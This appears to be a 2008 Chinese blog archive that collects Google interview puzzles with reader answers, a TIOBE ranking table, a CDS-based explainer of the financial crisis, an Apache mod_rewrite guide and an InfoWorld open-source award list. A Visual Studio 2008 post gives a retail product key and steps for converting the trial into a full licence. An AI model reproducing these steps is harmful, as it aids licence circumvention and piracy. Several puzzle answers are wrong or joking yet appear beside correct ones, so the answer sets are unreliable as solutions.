你和朋友参加聚会,包括你们两人在内一共有10个人在场。你朋友想跟你打赌,说这里每有一个人生日和你相同,你就给他1元,每有一个人生日和你不同,他给你2元。你会接受么?

全世界有多少个钢琴调音器?

你有8个一样大小的球,其中7个的重量是一样的,另一个比较重。怎样能够用天平仅称两次将那个重一些的球找出来。有 5个海盗,按照等级从5到1排列。最大的海盗有权提议他们如何分享100枚金币。但其他人要对此表决,如果多数反对,那他就会被杀死。他应该提出怎样的方案,既让自己拿到尽可能多的金币又不会被杀死?(提示:有一个海盗能拿到98%的金币)

敌人有三个师的兵力,驻扎在某根据地,该根据地只有两个入口
你有2个师的兵力,怎么调度,才能最大可能的打败敌人
注:同等兵力条件下,敌人获胜。并且兵力只能整个师的调动,不能调动诸如1.5个师之类的

你觉得自己有把握去Google工作了么?


# 一辆学校班车里面能装多少个高尔夫球?
答:应该也是用常理推断过程
# 你被缩小到只有硬币厚度那么点高(不是压扁,是按比例缩小),然后被扔到一个空的玻璃搅拌器中,搅拌刀片一分钟后就开始转动。你怎么办?
答:搅拌器应该是有空隙的,所以躲到边上应该不会被打到。但是玻璃搅拌器四周可能无法抓住附着,所以旋转带来的风可能把你吹起来。所以尽量走到搅拌器转轴中间,试图爬上去或者抓住。
# 要是让你清洗整个西雅图的所有窗子,你会收取多少费用?
答:类似调音师的推理过程
# 怎么才能识别出电脑的内存堆栈是向上溢出还是向下溢出?
答:只能向上溢出
# 你要向你8岁的侄子解释什么是数据库,请用三句话完成。
答1:数据库就如存钱罐…
答2:就是你的书包,里面有你喜欢的:圣斗士金卡,小玩具;也有你不喜欢的:考卷啊,要家长签名的东西啊。。。。反正里面各种各样的东西都有,但绝大多数可能都不是你放进去的,但你却要注意收拾。
# 时钟的指针一天内会重合几次?
答:如果是没有秒针且分针不是按1分钟递进的那种钟表,那么可以重合多次(22次吧),如果是按分钟递进的或者有秒针的,那就重合两次。另外,还要考虑齿轮的齿距和制表匠的水平。因此从微观上讲,那两根或三根针针的很难重合。。。。。。。
# 你需要从A地去B地,但你不知道能不能到,这时该怎么办?
答:以目前科学水平,只要A地B地都叫得出名字并且都在地球表面的陆地上,都可以到。
# 好比你有一个衣橱,里面塞满了各种衬衫,你会怎么整理这些衬衫,好让你以后找衬衫的时候容易些?
答1:优先颜色,其次款式,再次新旧程度
答2: 按季节、场合、性别分
# 有个小镇有100对夫妇,每个丈夫都在欺骗他的妻子。妻子们都无法识破自己丈夫的谎言,但是她们却能知道其他任何一个男人是否在撒谎。镇上的法律规定不准通奸,妻子一旦证明丈夫不忠就应该立刻杀死他,镇上所有妇女都必须严格遵守这项法律。有一天,镇上的女王宣布,至少有一个丈夫是不忠的。这是怎么发生的呢?
答1:全部男人都被杀死
答2:国王被杀死了 (可能女王也被杀死,这样才能确保秘密不会泄露)
# 在一个重男轻女的国家里,每个家庭都想生男孩,如果他们生的孩子是女孩,就再生一个,直到生下的是男孩为止。这样的国家,男女比例会是多少?
答:1 : 1 / 50%
# 如果在高速公路上30分钟内到一辆车开过的几率是0.95,那么在10分钟内看到一辆车开过的几率是多少 (假设为常概率条件下)
答1:1-(1-x)(1-x)(1-x)=0.95,解出x就可以了,嘿嘿
答2:0.95
答3:12度*0.25=3度
# 如果你看到钟的时间是3:15,那一刻时针和分针的夹角是多少?(肯定不是0度!)
答:7.5
# 4 个人晚上要穿过一座索桥回到他们的营地。可惜他们手上只有一支只能再坚持17分钟的手电筒。通过索桥必须要拿着手电,而且索桥每次只能撑得起两个人的份量。这四个人过索桥的速度都不一样,第一个走过索桥需要1分钟,第二个2分钟,第三个5分钟,最慢的那个要10分钟。他们怎样才能在17分钟内全部走过索桥?
答1:1+2先过,1(或2)返回,5+10过,2(或1)返回,1+2过
答2:最慢的10分钟在桥头打手电筒,1分钟和2分钟先过,在1分钟过完时,5分钟立刻上桥。在2分钟过完时,10分钟拿着手电筒上桥,总共只花了12分钟就能全部过去
答3:
先1分钟和2分钟的过去,2分钟呆在那边,1分钟的回来,用了2+1=3分钟了;
5分钟和10分钟一起过去,2分钟的回来,用来3+10+2=15分钟了;
1和2分钟最后一起过去,用了15+2=17分钟了。
# 你和朋友参加聚会,包括你们两人在内一共有10个人在场。你朋友想跟你打赌,说这里每有一个人生日和你相同,你就给他1元,每有一个人生日和你不同,他给你2元。你会接受么?
答1:这个题目好像有陷阱,首先自己肯定和自己生日相同,所以开始你就要给对方1元。然后剩下9个人里面,你需要有4个人和你生日不同,你才能赚回来。而9个人里面同时有5个人生日和你相同的概率我觉得是比较小了,所以换做我,我会接受的!
答2: 不接受
# 全世界有多少个钢琴调音师?
答1:2个,一个男的一个女的
答2:对客户来讲就一个,因为所作的工作一样,所以统统可以外包掉
# 你有8个一样大小的球,其中7个的重量是一样的,另一个比较重。怎样能够用天平仅称两次将那个重一些的球找出来。
答1:先取6个,天平上一边3个,同重则称剩余2个即可;不同重,则取重的3个中的2个来称.
答2:将8个球按个数2,3,3任意分为三组:A、B、C。
将B、C 两组分别置于天平两端,若两端持平,即质量相等,则只需将A
组的两个球分别置于天平两端,向下倾斜的一端所盛的球即是比较重的;若两端倾斜,则将向下倾斜的一端所盛的3个球取出,再从这3个球中任意取出两个球分别置于天平两端。如果两端持平,那么未被抽取的那个球就比较重的;如果两端倾斜,那么向下倾斜的一端所盛的球即是比较重的;
答3:3-3-2分称
# 有5个海盗,按照等级从5到1排列。最大的海盗有权提议他们如何分享100枚金币。但其他人要对此表决,如果多数反对,那他就会被杀死。他应该提出怎样的方案,既让自己拿到尽可能多的金币又不会被杀死?(提示:有一个海盗能拿到98%的金币)
答1: 98,0,1,0,1
答2:如果是我。。。我会提出让等级比我低的人继续按这个方法协商如何分,这样可以陷入逻辑悖论。只要完全按这个规则,那我就死不掉。

敌人有三个师的兵力,驻扎在某根据地,该根据地只有两个入口
你有2个师的兵力,怎么调度,才能最大可能的打败敌人
注:同等兵力条件下,敌人获胜。并且兵力只能整个师的调动,不能调动诸如1.5个师之类的
答:这道题实际上是普林斯顿《博弈论》上的一道习题,分析如下:
设两个入口为甲、乙

敌人有四种方案,即:
A、三个师都驻守甲方向;
B、两个师驻守甲方向,一个师驻守乙方向;
C、一个师驻守甲方向,两个师驻守乙方向:
D、三个师都驻守乙方向。

我有两个师的攻城部队,可以有三种方案,即:

a、集中全部两个师的兵力从甲方向攻击;
b、兵分两路,一师从甲方向,另一师从乙方向,同时发起攻击;
c、集中全部两个师的兵力从乙方向攻击。

可能的结果为:
A B C D
a 败,胜 败,胜 胜,败 胜,败
b 胜,败 败,胜 败,胜 胜,败
c 胜,败 胜,败 败,胜 败,胜
敌方用B,C可获得2胜,A,D才1胜,他必然选B,C
B C
a 败,胜 胜,败
b 败,胜 败,胜
c 胜,败 败,胜
我方选b必败,必然不会选b

B C
a 败,胜 胜,败
c 胜,败 败,胜

最后敌方的选择肯定是一个口两个师,一个口一个师
我方最好的调度是集中两个师的力量,攻一个口,获胜概率为1/2

暴风雨中的选择

这是一家公司要招收新的职员其中一个测试的问题……

  你开着一辆车,在一个暴风雨的晚上。你经过一个车站。有三个人正在等公共汽车。
  
  一个是快要死的老人,好可怜的。一个是医生,他曾救过你的命,是大恩人,你做梦都想报答他。还有一个女人/男人,她/他是那种你做梦都想嫁/娶的人,也许错过就没有了。
  
  但你的车只能坐一个人,你会如何选择那?请解释一下你的理由。
  
  
  在你看下面的话之前仔细考虑一下。
  
  我不知道这是不是一个对你性格的测试, 因为每一个回答都有他自己的原因。
  
老人快要死了,你首先应该先救他。
  
  然而,每个老人最后都只能把死作为他们的终点站, 你先让那个医生上车,因为他救过你,你认为这是个好机会报答他。
  
  同时有些人认为一样可以在将来某个时候去报答他, 但是你一旦错过了这个机会,你可能永远不能遇到一个让你这么心动的人了。

.
.
.
.
.

在200个应征者中,只有一个人被雇佣了,他并没有解释他的理由,他只是说了以下的话:“给医生车钥匙,让他带着老人去医院,而我则留下来陪我的梦中情人一起等公车!"

猜是男孩还是女孩?

张三,李四两朋友好久没有见面了,这次相见到格外亲切,问长问短。时间过得真快,如今李四已经是2个孩子的父亲了。

于是,张三问到:你已经是两个孩子的父亲了,恭喜恭喜,那么这两个孩子的性别分别是什么呢?李四:其中的一个孩子是男孩,另一个,你猜猜看是男孩还是女孩?

问题:

张三应该怎么猜呢?猜男孩的概率大还是猜女孩的概率大?还是一样大?

如果李四这么说:老大是男孩,猜猜老二是男孩还是女孩?

问题:

张三应该怎么猜呢?猜男孩的概率大还是猜女孩的概率大?还是一样大?

.
.
.
.
.
.

李四:其中的一个孩子是男孩,另一个,你猜猜看是男孩还是女孩?

问题:

张三应该怎么猜呢?猜男孩的概率大还是猜女孩的概率大?还是一样大?

the search space consists of only 3 possibilities (b,b),(b,g) and (g,b).[b for boy, g for girl] the chance of the other being girl is 2/3.

如果李四这么说:老大是男孩,猜猜老二是男孩还是女孩?

问题:

张三应该怎么猜呢?猜男孩的概率大还是猜女孩的概率大?还是一样大?

the search space consists of only 2 possibilities (b,b) and (b,g).[b for boy, g for girl] the gender of the other one is independent of the information.

两道经典谷歌面试题

两道经典谷歌面试题 由 本来清静 于 2008-10-23 15:42:37
(1)
1
1 1
2 1
1 2 1 1
1 1 1 2 2 1

下一行是什么?

(2) 数列中下一个应该是: 10, 9, 60, 90, 70, 66, ?

A) 96
B) 1000000000000000000000000000000000
0000000000000000000000000000000000
000000000000000000000000000000000
C) Either of the above
D) None of the above



.
.
.
.
.

(1)
其实每一行都是对上一行的“统计”,而且去掉了汉字。
第一行:“1”统计为:1个1,去掉“个”字,就变成了“11”,也就是第二行。
同理,第二行可统计为:2个1,去掉“个”字,就变成了“21”,也就是第三行。
同理,第三行可统计为:1个2和1个1,去掉“个”字和“和”字,就变成了“1211”,也就是第四行。
同理,第四行可统计为:1个1和1个2和2个1,去掉“个”字和“和”字,就变成了“111221”,也就是第五行。
同理,第五行可统计为:3个1和2个2和1个1,去掉“个”字和“和”字,就变成了“312211”,也就是第六行。


(2)
This can be looked up and found to be sequence A052196 in the On-Line Encyclopedia of Integer Sequences, which gives the largest positive integer whose English name has n letters. For example, the first few terms are ten, nine, sixty, ninety, seventy, sixty-six, ninety-six, …. A more correct sequence might be ten, nine, sixty, googol, seventy, sixty-six, ninety-six, googolplex. And also note, incidentally, that the correct spelling of the mathematical term "google" differs from the name of the company that made up this aptitude test.

Friday, October 3, 2008

9月份编程语言排行榜发布 Delphi东山再起 - 软件之家

TIOBE编程语言9月份榜单发布,Delphi经过几个月持续上升后终于返回前10名,Ruby下降一位排名第11.前10名其他语言排位没有变化。



Position
Sep 2008 Position
Sep 2007 Delta in Position Programming Language Ratings
Sep 2008 Delta
Sep 2007 Status
1 1 Java 20.715% -0.99% A
2 2 C 15.379% +0.47% A
3 5 C++ 10.716% +0.78% A
4 3 (Visual) Basic 10.490% -0.26% A
5 4 PHP 9.243% -0.96% A
6 8 Python 5.012% +1.99% A
7 6 Perl 4.841% -0.58% A
8 7 C# 4.334% +0.75% A
9 9 JavaScript 3.130% +0.41% A
10 14 Delphi 3.055% +1.83% A
11 10 Ruby 2.762% +0.70% A
12 13 D 1.265% -0.11% A
13 11 PL/SQL 0.700% -1.16% A--
14 12 SAS 0.640% -0.76% B
15 23 ActionScript 0.472% +0.07% B
16 16 Lisp/Scheme 0.419% -0.21% B
17 18 Lua 0.415% -0.16% B
18 22 Pascal 0.400% -0.03% B
19 - PowerShell 0.384% 0.00% B
20 17 COBOL 0.360% -0.27% B


Position Programming Language Ratings
21 Logo 0.357%
22 Ada 0.349%
23 Fortran 0.303%
24 ABAP 0.280%
25 MATLAB 0.255%
26 RPG (OS/400) 0.247%
27 FoxPro/xBase 0.217%
28 Prolog 0.210%
29 Transact-SQL 0.204%
30 Awk 0.194%
31 LabVIEW 0.170%
32 PL/I 0.167%
33 DC 0.165%
34 Euphoria 0.148%
35 Haskell 0.124%
36 Smalltalk 0.123%
37 Tcl/Tk 0.122%
38 REXX 0.116%
39 Groovy 0.115%
40 Bourne shell 0.113%
41 ML 0.112%
42 Forth 0.107%
43 Objective-C 0.105%
44 Erlang 0.105%
45 CL (OS/400) 0.096%
46 Alice 0.092%
47 Scala 0.090%
48 Natural 0.080%
49 Caml 0.076%
50 APL 0.072%
Category Ratings September 2008 Delta September 2007
Object-Oriented Languages 57.6% +4.7%
Procedural Languages 39.9% -3.4%
Functional Languages 1.9% -0.2%
Logical Languages 0.7% -1.1%


Category Ratings September 2008 Delta September 2007
Statically Typed Languages 59.1% +2.0%
Dynamically Typed Languages 40.9% -2.0%

Wednesday, October 1, 2008

算一下美国金融危机有多严重

算一下美国金融危机有多严重 (wenxuecity.com)

危言


对金融危机最普遍的官方解释是次贷问题,然而次贷总共不过几千亿,而美国政府救市资金早已到了万亿以上,为什么危机还是看不到头?有文章指出危机的根源是金融机构采用“杠杆”交易;另一些专家指出金融危机的背后是62万亿的信用违约掉期(Credit Default Swap, CDS)。那么,次贷,杠杆和CDS之间究竟是什么关系?它们之间通过什么样的相互作用产生了今天的金融危机?在众多的金融危机分析文章中,始终没有看到对这些问题的简单明了的解释。本文试图通过自己的理解为这些问题提供一个答案,为通俗易懂起见,我们使用了几个假想的例子。有不恰当之处欢迎批评讨论。

一。杠杆。目前,许多投资银行为了赚取暴利,采用20-30倍杠杆操作,假设一个银行A自身资产为30亿,30倍杠杆就是900亿。也就是说,这个银行A以 30亿资产为抵押去借900亿的资金用于投资,假如投资盈利5%,那么A就获得45亿的盈利,相对于A自身资产而言,这是150%的暴利。反过来,假如投资亏损5%,那么银行A赔光了自己的全部资产还欠15亿。

二。CDS合同。由于杠杆操作高风险,所以按照正常的规定,银行不运行进行这样的冒险操作。所以就有人想出一个办法,把杠杆投资拿去做“保险”。这种保险就叫CDS。比如,银行A为了逃避杠杆风险就找到了机构B。机构B可能是另一家银行,也可能是保险公司,诸如此类。A对B说,你帮我的贷款做违约保险怎么样,我每年付你保险费5千万,连续10年,总共5亿,假如我的投资没有违约,那么这笔保险费你就白拿了,假如违约,你要为我赔偿。A想,如果不违约,我可以赚45亿,这里面拿出5亿用来做保险,我还能净赚40亿。如果有违约,反正有保险来赔。所以对A而言这是一笔只赚不赔的生意。B是一个精明的人,没有立即答应A的邀请,而是回去做了一个统计分析,发现违约的情况不到1%。如果做一百家的生意,总计可以拿到500亿的保险金,如果其中一家违约,赔偿额最多不过50亿,即使两家违约,还能赚400亿。A,B双方都认为这笔买卖对自己有利,因此立即拍板成交,皆大欢喜。

三。CDS市场。B做了这笔保险生意之后,C在旁边眼红了。C就跑到B那边说,你把这100个CDS卖给我怎么样,每个合同给你2亿,总共200亿。B想,我的400亿要10年才能拿到,现在一转手就有200亿,而且没有风险,何乐而不为,因此B和C马上就成交了。这样一来,CDS就像股票一样流到了金融市场之上,可以交易和买卖。实际上C拿到这批CDS之后,并不想等上10年再收取200亿,而是把它挂牌出售,标价220亿;D看到这个产品,算了一下,400亿减去220亿,还有180亿可赚,这是“原始股”,不算贵,立即买了下来。一转手,C赚了20 亿。从此以后,这些CDS就在市场上反复的抄,现在CDS的市场总值已经抄到了62万亿美元。

四。次贷。上面 A,B,C,D,E,F....都在赚大钱,那么这些钱到底从那里冒出来的呢?从根本上说,这些钱来自A以及同A相仿的投资人的盈利。而他们的盈利大半来自美国的次级贷款。人们说次贷危机是由于把钱借给了穷人。笔者对这个说法不以为然。笔者以为,次贷主要是给了普通的美国房产投资人。这些人的经济实力本来只够买自己的一套住房,但是看到房价快速上涨,动起了房产投机的主意。他们把自己的房子抵押出去,贷款买投资房。这类贷款利息要在8%-9%以上,凭他们自己的收入很难对付,不过他们可以继续把房子抵押给银行,借钱付利息,空手套白狼。此时A很高兴,他的投资在为他赚钱;B也很高兴,市场违约率很低,保险生意可以继续做;后面的C,D,E,F等等都跟着赚钱。

五。次贷危机。房价涨到一定的程度就涨不上去了,后面没人接盘。此时房产投机人急得像热锅上的蚂蚁。房子卖不出去,高额利息要不停的付,终于到了走头无路的一天,把房子甩给了银行。此时违约就发生了。此时A感到一丝遗憾,大钱赚不着了,不过也亏不到那里,反正有B做保险。B也不担心,反正保险已经卖给了C。那么现在这份CDS保险在那里呢,在G手里。G刚从F手里花了300亿买下了 100个CDS,还没来得及转手,突然接到消息,这批CDS被降级,其中有20个违约,大大超出原先估计的1%到2%的违约率。每个违约要支付50亿的保险金,总共支出达1000亿。加上300亿CDS收购费,G的亏损总计达1300亿。虽然G是全美排行前10名的大机构,也经不起如此巨大的亏损。因此G 濒临倒闭。

六。金融危机。如果G倒闭,那么A花费5亿美元买的保险就泡了汤,更糟糕的是,由于A采用了杠杆原理投资,根据前面的分析,A 赔光全部资产也不够还债。因此A立即面临破产的危险。除了A之外,还有A2,A3,...,A20,统统要准备倒闭。因此G,A,A2,...,A20一起来到美国财政部长面前,一把鼻涕一把眼泪地游说,G万万不能倒闭,它一倒闭大家都完了。财政部长心一软,就把G给国有化了,此后A,...,A20的保险金总计1000亿美元全部由美国纳税人支付。

七。美元危机。上面讲到的100个CDS的市场价是300亿。而CDS市场总值是62万亿,假设其中有10%的违约,那么就有6万亿的违约CDS。这个数字是300亿的200倍。如果说美国政府收购价值300亿的CDS之后要赔出1000 亿。那么对于剩下的那些违约CDS,美国政府就要赔出20万亿。如果不赔,就要看着A20,A21,A22等等一个接一个倒闭。无论采取什么措施,美元大贬值已经不可避免。


以上计算所用的假设和数字同实际情况会有出入,但美国金融危机的严重性无法低估。

Thursday, September 18, 2008

Visual Studio 2008下载地址汇总及相关注册破解方法. - 小小菜鸟的web菜园子 - 博

Visual Studio 2008下载地址汇总及相关注册破解方法.

一、Visual Studio 2008 Team Suite(90天试用版)下载地址:
http://download.microsoft.com/download/d/8/9/d89c9839-ac45-4a6c-b25f-2f60b190e356/VS2008TeamSuiteENU90DayTrialX1429235.iso
(Visual Studio 2008 Professional Edition的正式版目前还没有发布,期待中....不过,有了Team Suite就不必想Pro的了吧,呵呵)
.NET框架3.5版下载地址:
http://download.microsoft.com/download/7/0/3/703455ee-a747-4cc8-bd3e-98a615c3aedb/dotNetFx35setup.exe

二、Visual Studio Express Edition下载地址列表:
1. 网络安装包下载
Visaul Web Developer 2008 Express Edition下载地址:
http://download.microsoft.com/download/d/c/3/dc3439e7-5533-4f4c-9ba0-8577685b6e7e/vnssetup.exe
Visual Basic 2008 Express Edition下载地址:
http://download.microsoft.com/download/d/c/3/dc3439e7-5533-4f4c-9ba0-8577685b6e7e/vbsetup.exe
Visual C# 2008 Express Edition下载地址:
http://download.microsoft.com/download/d/c/3/dc3439e7-5533-4f4c-9ba0-8577685b6e7e/vcssetup.exe
Visual C++ 2008 Express Edition下载地址:
http://download.microsoft.com/download/d/c/3/dc3439e7-5533-4f4c-9ba0-8577685b6e7e/vcsetup.exe

2. 离线安装DVD包:
Visual Studio 2008 Express Edition DVD ISO下载地址:
http://download.microsoft.com/download/8/B/5/8B5804AD-4990-40D0-A6AA-CE894CBBB3DC/VS2008ExpressENUX1397868.iso
(包含:Visaul Web Developer 2008 Express Edition、Visual Basic 2008 Express Edition、Visual C# 2008 Express Edition、Visual C++ 2008 Express Edition)

Visual Studio 2008 Team Suite Edition的注册或是破解很简单,有两种方法:
1. 安装完90天试用版后,在“添加或删除应用程序”,删除vs 2008,点击“卸载”,在卸载里有让输入序列号的地方,把正式版的序列号PYHYP-WXB3B-B2CCM-V9DX9-VDY8T输入进去就行了。
2. 这种方法也是序列号的问题,把iso文件中的setup文件夹中的setup.sdb文件中的[Product Key]下的一行的原来的序列号换为能用的正式版的序列号就行了。如:
[Product Key]
PYHYPWXB3BB2CCMV9DX9VDY8T

Sunday, September 14, 2008

Ubuntu - Enable mod_rewrite in Apache server

(http://www.huanix.com/2007/04/18/mod_rewrite-for-apache2-in-ubuntu-feisty-fawn-704/)

mod_rewrite is a module for the Apache webserver that allows apache to dynamically change the url of a site using php (or other scripting languages). It seems like a difficult/confusing task at first, but it actually only takes 2 steps in Ubuntu 8.04. Any code snippets should be typed into a terminal. “sudo” commands require a password, that’s a given.

  1. Enable mod_rewrite in Apache
    sudo a2enmod rewrite
  2. Edit the configuration file.
    1. sudo gedit  /etc/apache2/sites-available/default
    2. line 12 says “AllowOverride none” ;
    3. change it to “AllowOverride all”
    4. save and close
  3. Okay… one last step — you have to manually restart Apache (or restart your computer!)
  4. sudo apache2 -k restart

All done! now Apache and php can create URL’s on the fly - pretty neato!

Friday, September 12, 2008

2008年度最佳开源软件大奖

----------------------------------------------------------------------------------------------
InfoWorld 历年的开源软件大奖都相当有分量,不过国内知道或者关注这个奖项的用户并不是特别多。InfoWorld 2008年的“开源软件大奖”最新出炉,CHIP软件社区乘此机会将InfoWorld 2008年的“开源软件大奖”中文化并进行整理,希望能够为中国用户带来便利,也希望能够为开源社区共享绵薄之力。
由于InfoWorld的评选软件范围广、类别多,很多时候在同一个类别中,桌面版软件和服务器版软件常常混杂在一起,限于时间和水平,这个专题的组织和本地化肯定有不妥甚至是错漏之处,欢迎用户和网友批评指正。


协同类软件、开发工具

一、collaboration|协同类软件
InfoWorld评选的协同(collaboration)类软件主要包括社会化软件、BLOG系统、日程和邮件系统管理平台构建系统等软件,共5个产品入选。
1. elgg:社会性网络构建平台
elgg作为一个社会性网络构建平台,一经问世,即好评如潮,更有人将其与大名鼎鼎的moodle相提并论。这个平台不仅获得了2007年最佳社会性网络开源CMS平台的荣誉,在今年得到了info world的最高评价。点击这里下载elgg

2. MediaWiki:Wiki应用构建平台

说MediaWiki是最佳的Wiki应用构建平台,恐怕没有人会反对吧?风靡全球的Wikipedia已经可以充分证明MediaWiki的强大。点击这里下载MediaWiki

3. Scalix:邮件和日程协同管理
提到开源的邮件和日程协同管理软件,不少人会想到Zimbra,不过info world 2008年选择的是Scalix。关于Scalix的更多信息,访问这里:http://www.scalix.com

4. VNC:远程管理软件
最佳开源远程管理软件是VNC,嗯,这个软件入选算是毫无悬念,还有一个软件是TeamViewer,也是非常优秀的作品,不过不是开源的。点击这里下载VNC

5. WordPress:BLOG系统构建软件
BLOG系统构建软件WordPress,这个应该没有任何疑问,WordPress几乎统治了PHP+MYSQL构建BLOG的世界,这个产品无论在品质、更新速度、插件数量、模板数量、用户数量……等很多方面都首屈一指。点击这里下载WordPress
----------------------------------------------------------------------------------------------
二、developer tools|开发工具
InfoWorld评选的开发工具包括了富Internet应用开发套件、AJAX应用开发套件、业务规则管理系统(business rule management system)、版本控制软件、Web service测试工具等,共8个产品入选。
1. db4o:面向对象数据库引擎
db4o是一个开源的纯面向对象数据库引擎,对于Java与.NET开发者来说都是一个简单易用的对象持久化工具,使用简单。点击这里下载db4o

2. Git:版本控制软件
InfoWorld 2008选择的开源版本控制软件是Git,我对这个软件真是不太了解,以前接触和听说更多的是subversion和CVS。翻了一下资料,发现 Linux Kernel、Wine、Ruby On Rails等软件用的版本控制软件就是Git,想必这个软件还是有过人之处的。点击这里下载Git

3. HttpClient:Http协议组件包
HttpClient是Apache Jakarta Common下的子项目,用来提供高效的、最新的、功能丰富的支持HTTP协议的客户端编程工具包,并且它支持HTTP协议最新的版本和建议。点击这里下载HttpClient

4. TBB:多核CPU优化开发
为了使并行编程更容易和更简便,英特尔发布了作为开放资源项目的英特尔Intel Threading Building Blocks2.0 (Intel TBB),作为多核开放资源应用程序的一个解决方案。点击这里下载TBB

5. JBoss Drools:业务规则引擎
JBoss Drools是一款开源的业务规则引擎,它的设计目的是允许插件式的语言实现。它使用脚本方式将规则集中写在规则库文件当中,使得设计人员更容易管理。点击这里下载JBoss Drools

6. Flex:富Internet应用构建
InfoWorld把“富Internet应用构建”这个奖项颁给了Adobe——准确来说是Adobe开源Flex的行为,通过开源,Flex开发者可以通过阅读研究Flex源码,更深刻的理解Flex并进一步增强它,从而在Flex平台上创造出更多更出色的应用。点击这里下载Adobe Flex 3 SDK

7. Prototype:JS基础框架
WOW,Prototype能够得到如此高的评价真是有点让人惊讶呢,是不是?当然,今天的Prototype已经不是一个单纯的js代码库了,它上升到了框架的高度。点击这里下载Prototype

8. SoapUI:Web Services测试工具
这是一款先进的Web Services测试工具,它既可以当作独立的桌面软件使用,也可以通过插件方式与Eclipse等IDE相整合。点击这里下载SoapUI

网络应用、平台和中间件

三、networking|网络应用
InfoWorld评选的网络应用包括了IP电话、VOIP电话系统、日志文件分析、WIFI信号扫描等软件,共8个产品入选。
1. Asterisk:软VOIP电话系统解决方案
Asterisk是一个应用于VoIP的开放源代码PBX系统(Private Branch eXchange,公司/机构用于连接专用和公用电话网络的现场数字或模拟电话交换台)它提供了呼叫转移、故障转移、IPv6支持、通话监控、通话排队、查询以及其他多种功能。点击这里下载Asterisk

2. AWStats:日志分析工具
AWStats主要通过读取IIS、Apache等服务器的日志信息,从而能够对网站、FTP服务器、邮件服务器进行各方面的信息统计和分析,并以图形化的方式展现出来,无论搭建还是使用都很方便。点击这里下载AWStats

3. inSSIDer:WIFI网络扫描软件
inSSIDer 在国内的知名度远远不如NetStumbler——甚至都没有人知道inSSIDer这个软件,而NetStumbler的汉化版已经满地都是了。在 CHIP看来,NetStumbler的功能其实比inSSIDer更加强大,inSSIDer胜在界面直观,简单易用。点击这里下载inSSIDer

4. Nagios:系统和网络的应用监控程序
Nagios是一个监控系统和网络的应用程序,它可以监控的信息包括:网络服务(SMTP、POP3、HTTP、NNTP、PING 等)、主机资源(处理器负载、磁盘使用情况等)、在服务或主机产生问题和修复时通知用户。点击这里下载Nagios

5. NDISwrapper:Linux系统使用Windows的WIFI驱动
NDISwrapper事实上是为了解决在Linux下没有WIFI设备驱动但又想使用WIFI设备的用户准备的,它可以欺骗WIFI设备,让设备以为是在Windows环境下工作,用户从而不用再担心驱动的问题。点击这里下载NDISwrapper

6. Vyatta:路由器/防火墙
Vyatta是一份完整的、即刻可用的、基于Debian的发行,它被设计为能将一套标准的x86硬件转换为企业级的路由器/防火墙。点击这里下载Vyatta

7. Wireshark:网络嗅探
Ethereal 和在Windows系统中常用的sniffer pro并称网络嗅探工具双雄,不过和sniffer pro不同的是Ethereal在Linux类系统中应用更为广泛。而Wireshark软件则是Ethereal的后续版本,他是在Ethereal被 收购后推出的最新网络嗅探软件,在功能上比前身更加强大。点击这里下载Wireshark

8. Zenoss Core:网络监控软件
在网络监控软件中,InfoWolrd 2008的获奖产品是Zenoss Core,这个产品最大的特色是功能丰富且简单易用——它的安装完全是普通桌面软件的向导方式,信息报告和反馈也是完全的图形化方式,直观有效。点击这里下载Zenoss Core
----------------------------------------------------------------------------------------------
四、platforms and middleware|平台和中间件
InfoWorld评选的平台和中间件包括了操作系统、桌面虚拟化、数据库、应用整合等, 共9个产品入选。
1. CentOS:服务器操作系统
CentOS 是RHEL(Red Hat Enterprise Linux)源代码再编译的产物,而且在RHEL的基础上修正了不少已知的Bug,相对于其他Linux发行版,其稳定性值得信赖,今天的CentOS已 经被很多Linux用户和网络管理员认定为最好的开源服务器操作系统之一。
CentOS的容量大概为600MB,需要的用户可以去http://centos.org/modules/tinycontent/index.php?id=15 下载,那里有非常多的镜像站点可供选择。

2. JBossESB:SOA业务组件
JBossESB是SOA的一个关键组件,它作为企业应用程序、业务服务、业务组件与中间件交互的一个媒介,对实现整合及业务流程自动化起重要作用。
个人用户很少会知道这个产品,这里就略过不谈吧,想了解更多信息,请访问:http://www.jboss.org/jbossesb/

3. MYSQL:数据库平台
InfoWorld 在2008年选择了MYSQL而不是SQLite,这多少会令SQLite的粉丝感到遗憾,不过想想也是,想在全球有多少成功的项目是构建在MYSQL之 上的啊,光是这一点,SQLite就绝难和MYSQL抗衡,并且在被SUN收购以后,MYSQL更加成熟和壮大。点击这里下载MYSQL

4. phpMyAdmin:最佳开源MySQL管理工具
由于MYSQL的成功,MYSQL的管理软件也附带着“沾光”,这不,MYSQL的管理软件phpMyAdmin就获得了InfoWorld 2008最佳开源MySQL管理工具的荣誉。点击这里下载phpMyAdmin

5. Puppy Linux:小操作系统
InfoWorld把2008年的Small-footprint OS操作系统颁给了Puppy Linux,也许有人会说Damn Smal Linux更加小巧和值得推荐。不过Puppy Linux的定制版更多,系统中集成的应用相对更加丰富。点击这里下载Puppy Linux

6. Jitterbit:数据整合解决方案
用户可以使用Jitterbit来集成不同的应用、不同的数据库以及不同的数据源,它支持的数据类型、应用非常广泛。点击这里下载Jitterbit

7. Ubuntu:开源桌面系统
最佳开源桌面操作系统的奖项颁布给了Ubuntu,这个毫无悬念,只看好多国际PC厂商都开始将Ubuntu系统作为标配的操作系统就可以想见这个操作系统有多么受欢迎。点击这里下载Ubuntu

8. VirtualBox:虚拟桌面
VirtualBox是一款虚拟机软件,它功能丰富,性能也不错,现在被SUN收购并成了开源产品,相信日后会走得更远。点击这里下载VirtualBox

9. Xen:服务器虚拟机
说完了桌面虚拟机,轮到服务器虚拟机,InfoWorld选择的是Xen,Xen是一种著名的开放源代码的虚拟化技术,它基于Linux平台。点击这里下载Xen

应用软件、安全软件、存储软件

五、productivity apps|应用软件
InfoWorld评选的应用软件包括Office套装、网络浏览、图像编辑、音频编辑、3D建模工具等,共6个产品入选。
1. Audacity:音频编辑软件
Audacity当选最佳音频编辑软件,相信地球人都不会反对,这个软件功能强大到不亚于专业软件的地步、支持多种语言界面、并且还是开源的,不选它选谁呢?点击这里下载Audacity

2. Blender:3D建模
开源的3-D建模产品,Blender的大名的确是如雷贯耳,相信很多人都会很高兴这个产品入选了。点击这里下载Blender

3. FireFox:网络浏览
在这么多与IE相抗衡的浏览器中,FF是到目前为止最成功的一个,另外一个产品是Opera,不过后者不是开源的,FF入选自然是首当其冲。点击这里下载FireFox

4. GIMP:图像编辑
GIMP是被誉为Linux下的PhotoShop的好软件,当然,这个软件也有Windows版本,是个相当不错的产品。点击这里下载GIMP

5. OpenOffice:办公软件套装
